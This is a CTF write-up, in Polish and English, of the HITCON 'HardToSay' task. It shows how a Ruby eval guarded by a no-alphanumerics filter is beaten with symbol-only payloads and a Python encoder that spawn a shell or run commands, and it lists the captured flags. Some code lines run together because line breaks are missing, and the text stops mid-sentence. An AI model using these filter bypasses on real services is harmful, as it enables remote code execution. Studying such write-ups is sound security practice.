﻿## HardToSay (misc, 200p, (111, 88, 73, 28) solves)
    Ruby on Fails.    FLAG1: nc 54.199.215.185 9001    FLAG2: nc 54.199.215.185 9002    FLAG3: nc 54.199.215.185 9003    FLAG4: nc 54.199.215.185 9004
    hard_to_say-151ba63da9ef7f11bcbba93657805f85.rb
### PL[ENG](#eng-version)
Dostajemy taki kod:
```ruby
#!/usr/bin/env ruby
fail 'flag?' unless File.file?('flag')
$stdout.sync = true
limit = ARGV[0].to_iputs "Hi, I can say #{limit} bytes :P"s = $stdin.gets.strip!
if s.size > limit || s[/[[:alnum:]]/]  puts 'oh... I cannot say this, maybe it is too long or too weird :('  exitend
puts "I think size = #{s.size} is ok to me."r = eval(s).to_sr[64..-1] = '...' if r.size > 64puts r```
Jak widać pobiera on od użytkownika kod, i evaluje go - ale tylko pod warunkiem że nie zawiera znaków alfanumerycznych i jest odpowiednio krótki.
Są cztery serwery z zadaniem - każdy z nich przyjmuje mniej znaków. Pierwszy 1024, drugi 64, trzeci 36, a czwarty tylko 10. Za pokonanie każdego dostajemy 50 punktów.
Najlepszym rozwiązaniem na jakie wpadliśmy na początku to wykonanie operacji na shellu za pomocą backticków (``` ` ```) i interpolowania stringów.
Opieramy się tutaj na kilku wartościach które są domyślnie dostępne w interpreterze, np. `$$` zwraca nam PID aktualnego procesu, więc wykonanie `$$/$$` da nam wynik `1`. Możemy w ten sposób uzyskać dowolne liczby, a stosując `''<<number` możemy generować także dowolne znaki ASCII.
Napisaliśmy sobie prosty enkoder wykonujący dowolne (odpowiednio krótkie) polecenie shellowe:
```pythondef encode(cmd):    out = """a1 = $$/$$    a2 = a1+a1    a4 = a2+a2    a8 = a4+a4    a16 = a8+a8    a32 = a16+a16    a64 = a32+a32    """
    ss = []    for c in cmd:        cc = ord(c)        vs = []        for b in range(8):            if (2**b) & ord(c):                vs.append('a'+str(2**b))        ss.append('(' + '+'.join(vs) + ")")    s = '(""<<' + '<<'.join(ss) + ")"
    end = "`#{" + s + "}`"
    start = out + end
    varnames = ['_'*i for i in range(1,10)][::-1]
    start = start.replace('a64', varnames.pop())    start = start.replace('a32', varnames.pop())    start = start.replace('a16', varnames.pop())    start = start.replace('a8', varnames.pop())    start = start.replace('a4', varnames.pop())    start = start.replace('a2', varnames.pop())    start = start.replace('a1', varnames.pop())    start = ';'.join(start.split('\n'))    return start
import sysprint encode(sys.argv[1])```
Flaga: `hitcon{what does the ruby say? @#$%!@&(%!#$&(%!@#$!$?...}`
+50 punktów. Zdobyliśmy w ten sposób pierwszą flagę. Niestety, okazało się że nie da się ukraść jednej flagi mając shella od drugiej flagi (brak uprawnień) i musieliśmykombinować dalej...
Postanowiliśmy złożyć string "sh". I umieścić bo w backtickach aby wykonać go w shellu, uzyskując tym samym dostęp do shella. Nasza druga próba, dla 64 znaków, wyglądała tak:
    _=$$;$_=*?`..?{;`#{$_[_*_+_-_/_]+$_[_+_]}`
Flaga: `hitcon{Ruby in Peace m(_ _)m`
+50 punktów. A następnie dla 36 bajtów analogiczna operacja kodująca wywołanie sh:
    _=*?[..?{;`#{_[~--$$-$$]+_[~$$*$$]}`
Flaga: `hitcon{My cats also know how to code in ruby :cat:}`
+50 punktów. Później myśleliśmy dłuższą chwilę, ale wpadliśmy na to, że wykonanie `$0` również powinno dać nam shell - spróbowaliśmy więc:
    `$#{~-$.}`
Gdzie `$.` to aktualny numer linii w stdin (czyli u nas 1). Operacja `~-number` zwraca nam liczbę o 1 mniejszą, czyli 0. Interpolujemy wynik jako stringa, doklejamy do znaku `$` i wywołujemy uzyskane `$0` w shellu uzyskując dostęp do shella.Flaga: `hitcon{It's hard to say where ruby went wrong QwO}`
W ten sposób zdobyliśmy kolejne 50 punktów, rozwiązując w ten sposób całe zadanie.
### ENG version
We get the code:
```ruby
#!/usr/bin/env ruby
fail 'flag?' unless File.file?('flag')
$stdout.sync = true
limit = ARGV[0].to_iputs "Hi, I can say #{limit} bytes :P"s = $stdin.gets.strip!
if s.size > limit || s[/[[:alnum:]]/]  puts 'oh... I cannot say this, maybe it is too long or too weird :('  exitend
puts "I think size = #{s.size} is ok to me."r = eval(s).to_sr[64..-1] = '...' if r.size > 64puts r```
As can be seen, it gets data from the use and evaluates it with `eval()`, but only if it doesn't contain any alphanumerical characters and is short enough.
There are 4 instances of the task - each one accepts less characters. First 1024, second 64, third 36 and last one only 10. For beating each one we get 50 points.
The best solution we came up with initially was executing shell operations with (``` ` ```) and string interpolation.
We use here some numerical values that are accesible in the interpreter, eg. `$$` gives is PID of the process so calling `$$/$$` gives nam `1`. This way we can get any number and by using `''<